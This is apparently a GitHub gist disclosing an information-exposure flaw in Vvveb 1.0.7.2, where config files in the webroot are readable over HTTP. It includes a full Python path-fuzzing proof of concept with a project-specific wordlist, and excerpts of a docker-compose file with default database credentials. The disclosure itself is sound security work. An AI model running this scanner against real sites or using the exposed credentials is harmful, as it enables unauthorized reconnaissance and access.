Skip to content

Instantly share code, notes, and snippets.

@KhanMarshaI
Last active October 23, 2025 07:35
Show Gist options
  • Select an option

  • Save KhanMarshaI/14b48f974cbdaa3278a81a169e4caae1 to your computer and use it in GitHub Desktop.

Select an option

Save KhanMarshaI/14b48f974cbdaa3278a81a169e4caae1 to your computer and use it in GitHub Desktop.

Vvveb 1.0.7.2 - Information Disclosure

Summary

Default installations of Vvveb ship with numerous sensitive project and configuration files located inside the webroot. These files are accessible over HTTP due to insufficient access controls and permissive server configuration. An unauthenticated remote attacker can enumerate likely paths (fuzz/wordlist) and retrieve files such as composer.json, docker-compose.yaml, php.ini, LICENSE, README.md, and other files that may contain sensitive configuration, credentials, or deployment information.

This is a post-installation information disclosure caused by insecure defaults and lack of server-side protections to prevent direct access to configuration and system files.


Impact

  • Confidential information exposure: configuration files (e.g., docker-compose.yaml), PHP configuration (php.ini), and other files which may contain plaintext credentials or internal deployment details are retrievable.
  • Credential/secret leakage: docker-compose.yaml in the reported case contained default database credentials (vvveb:vvveb) which, if reused in other places (admin panels, remote services), increase attack surface.
  • Reconnaissance facilitation: exposed files reveal directory layout, available endpoints, and components which can help an attacker craft more targeted attacks (e.g., SQLi, RCE, or auth bypass) against the application or the hosting environment.

Root Cause

The default installation and repository layout place operational files and configuration (e.g., docker-compose.yaml, php.ini, .env-like files, composer.json) within the web-accessible root. Web server configuration does not deny access to these files by default (no deny rules or appropriate Location/<Files> exclusions). As a result, HTTP requests to these paths return file contents (HTTP 200) rather than 403/404.


Technical Details & Reproduction

Environment

  • Target: Vvveb 1.0.7.2
  • Method: Targeted path fuzzing using a path dictionary matching the project's directory layout.

Proof-of-Concept (summary)

A simple Python script recursively guesses project files and directories and performs HTTP GET requests against each path. Example results (excerpt):

  • GET /composer.json — 200 — returned composer.json content
  • GET /docker-compose.yaml — 200 — returned docker-compose.yaml (contained DB credentials)
  • GET /php.ini — 200 — returned PHP configuration
  • GET /README.md, /LICENSE, /public/index.php, /install/index.php, etc. — 200

Some paths returned 403 (e.g., .htaccess, certain admin files), but many did not.

Observed: downloading docker-compose.yaml exposed MYSQL_ROOT_PASSWORD, MYSQL_USER, MYSQL_PASSWORD, and application DB credentials.


Full Proof-of-Concept (script)

The full PoC script used during the research is included below. It enumerates a provided directory structure and logs any non-403 responses. (Original PoC code included in the disclosure document.)

import requests
from urllib.parse import urljoin
import logging
from concurrent.futures import ThreadPoolExecutor

# Configure logging
logging.basicConfig(filename='fuzz_results.log', level=logging.INFO, 
                    format='%(asctime)s - %(levelname)s - %(message)s')

# Base URL of the target website
BASE_URL = "http://localhost/"

# Directory structure as provided
DIRECTORY_STRUCTURE = {
    "": [
        "LICENSE", "README.md", "apache-vvveb.conf", "build.sh", "cli.php", "composer.json",
        "docker-compose.yaml", "env.php", "index.php", "nginx-docker.conf", "nginx-live.conf",
        "nginx.conf", "php.ini",
        {"admin": [
            ".htaccess", "admin-bar.php", "index.php",
            {"component": []}, {"controller": []}, {"field": []}, {"sql": []}, {"template": []}, {"validate": []}
        ]},
        {"app": [
            {"component": []}, {"controller": []}, {"fields": []}, {"sql": []}, {"template": []}, {"validate": []}
        ]},
        {"config": [
            "admin-menu.php", "admin.php", "app-routes.php", "app.php", "cron.php", "custom-post-menu.php",
            "custom-product-menu.php", "db.php", "graphql-routes.php", "graphql.php", "install.php", "mail.php",
            "plugins.php", "rest-routes.php", "rest.php", "sites.php"
        ]},
        {"graphql": [
            "index.php", "types.php", {"controller": []}, {"transform": []}
        ]},
        {"install": [
            "index.php", {"controller": []}, {"sql": []}, {"template": []}
        ]},
        {"locale": [
            {"nocache": []}
        ]},
        {"plugins": [
            {"captcha": []}, {"catalog-mode": []}, {"cdn": []}, {"chatgpt": []}, {"contact-form": []},
            {"content": []}, {"cookie-notice": []}, {"currency-update": []}, {"debug": []}, {"dicebear": []},
            {"gravatar": []}, {"hide-ecommerce": []}, {"import-wordpress": []}, {"insert-scripts": []},
            {"language-specific-template": []}, {"markdown-editor": []}, {"markdown-import": []}, {"minify": []},
            {"payment": []}, {"portfolio-cpt": []}, {"seo": []}, {"shipping": []}, {"test-plugin": []},
            {"toc-posts": []}, {"transliterate": []}
        ]},
        {"public": [
            ".htaccess", "error404.html", "error500.html", "favicon.ico", "index.php", "maintenance.html",
            "service-worker.js", "vrobots.txt",
            {"admin": []}, {"assets-cache": []}, {"css": []}, {"fonts": []}, {"image-cache": []}, {"img": []},
            {"install": []}, {"js": []}, {"media": []}, {"page-cache": []}, {"plugins": []}, {"resources": []},
            {"rest": []}, {"themes": []}, {"vadmin": []}
        ]},
        {"rest": [
            "index.php", {"controller": []}
        ]},
        {"storage": [
            ".htaccess", {"backup": []}, {"cache": []}, {"compiled-templates": []}, {"digital_assets": []},
            {"logs": []}, {"model": []}, {"sqlite": []}, {"upgrade": []}
        ]},
        {"system": [
            "cache-manager.php", "cache.php", "config.php", "cron.php", "db.php", "email.php", "event.php",
            "functions.php", "images.php", "media.php", "page-cache.php", "payment-method.php", "payment.php",
            "routes.php", "session.php", "setting.php", "shipping-method.php", "shipping.php", "sites.php",
            "update.php", "validator.php",
            {"cache": []}, {"cart": []}, {"component": []}, {"core": []}, {"data": []}, {"db": []},
            {"extensions": []}, {"fields": []}, {"functions": []}, {"import": []}, {"mail": []}, {"media": []},
            {"meta": []}, {"session": []}, {"sqlp": []}, {"traits": []}, {"user": []}, {"vtpl": []}
        ]},
        {"vendor": [
            "autoload.php"
        ]}
    ]
}

# Session for persistent connections
session = requests.Session()

def check_url(url):
    """Check if a URL is accessible and log the result."""
    print(f"Testing: {url}")
    try:
        response = session.get(url, timeout=5, stream=True)
        status = response.status_code
        content_length = len(response.content) if response.content else 0
        
        if status == 403:
            print(f"Skipped (403 Forbidden): {url}")
            return None, 0  # Skip 403 responses
        elif status == 200:
            message = f"Accessible - URL: {url} | Status: {status} | Content-Length: {content_length}"
            print(f"Result: {message}")
            logging.info(message)
        elif status == 404:
            message = f"Not found - URL: {url} | Status: {status} | Content-Length: {content_length}"
            print(f"Result: {message}")
            logging.info(message)
        else:
            message = f"Other status - URL: {url} | Status: {status} | Content-Length: {content_length}"
            print(f"Result: {message}")
            logging.info(message)
        
        return status, content_length
    except requests.RequestException as e:
        message = f"Error accessing {url}: {e}"
        print(f"Result: {message}")
        logging.error(message)
        return None, 0

def fuzz_path(base_path, items):
    """Recursively fuzz files and directories in the given path."""
    results = []
    
    for item in items:
        if isinstance(item, str):
            # It's a file
            url = urljoin(BASE_URL, f"{base_path}/{item}" if base_path else item)
            status, content_length = check_url(url)
            if status is not None:  # Only include non-403 results
                results.append((url, status, content_length))
        elif isinstance(item, dict):
            # It's a directory
            dir_name, contents = next(iter(item.items()))
            new_base_path = f"{base_path}/{dir_name}" if base_path else dir_name
            url = urljoin(BASE_URL, new_base_path)
            status, content_length = check_url(url)
            if status is not None:  # Only include non-403 results
                results.append((url, status, content_length))
                # Recursively fuzz the directory contents
                results.extend(fuzz_path(new_base_path, contents))
    
    return results

def main():
    print("Starting targeted file and directory fuzzing...")
    logging.info("Starting targeted file and directory fuzzing...")
    
    # Use ThreadPoolExecutor for concurrent requests
    with ThreadPoolExecutor(max_workers=10) as executor:
        futures = []
        
        # Start fuzzing from the root directory
        futures.append(executor.submit(fuzz_path, "", DIRECTORY_STRUCTURE[""]))
        
        # Collect results
        for future in futures:
            try:
                future.result()
            except Exception as e:
                message = f"Error in future: {e}"
                print(f"Result: {message}")
                logging.error(message)
    
    print("Fuzzing completed.")
    logging.info("Fuzzing completed.")

if __name__ == "__main__":
    main()

Note: The PoC was used only against local instances of the product (or consented targets). Exercise responsible disclosure when reproducing on public targets.


Reproduction Steps (short)

  1. Host Vvveb application in default layout or clone repository and serve at http://<target>/.

  2. Run the provided PoC script against http://<target>/ or manually request known filenames:

    • /composer.json
    • /docker-compose.yaml
    • /php.ini
    • /README.md
    • /LICENSE
    • /install/index.php
    • /public/index.php
  3. Any file returning HTTP 200 with readable contents is an information disclosure.


Example Sensitive Contents (excerpts)

  • docker-compose.yaml (example): contains DB credentials in plaintext:
version: "3.8"

services:
  db:
    container_name: db  
    hostname: db  
    #image: mariadb:latest
    image: mysql:latest
    #command: --default-authentication-plugin=mysql_native_password
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: vvveb
      MYSQL_DATABASE: vvveb
      MYSQL_USER: vvveb
      MYSQL_PASSWORD: vvveb
    volumes:
      - db:/var/lib/mysql
    networks:
      - internal
<SNIP>
  • php.ini (example): configuration entries that may reveal runtime behavior (session settings, opcache settings, allow_url_fopen, etc.).
session.auto_start = Off
session.use_only_cookies = On
session.use_cookies = On
session.use_trans_sid = Off
session.use_strict_mode=On
session.cookie_httponly = On
session.cookie_lifetime=0
session.gc_maxlifetime = 9999998
session.cookie_samesite="Strict"
session.hash_function="sha256"
short_open_tag = Off
register_globals = Off
default_charset = UTF-8
<SNIP>

Credits


References

  • CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor
  • CWE-284: Improper Access Controls

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment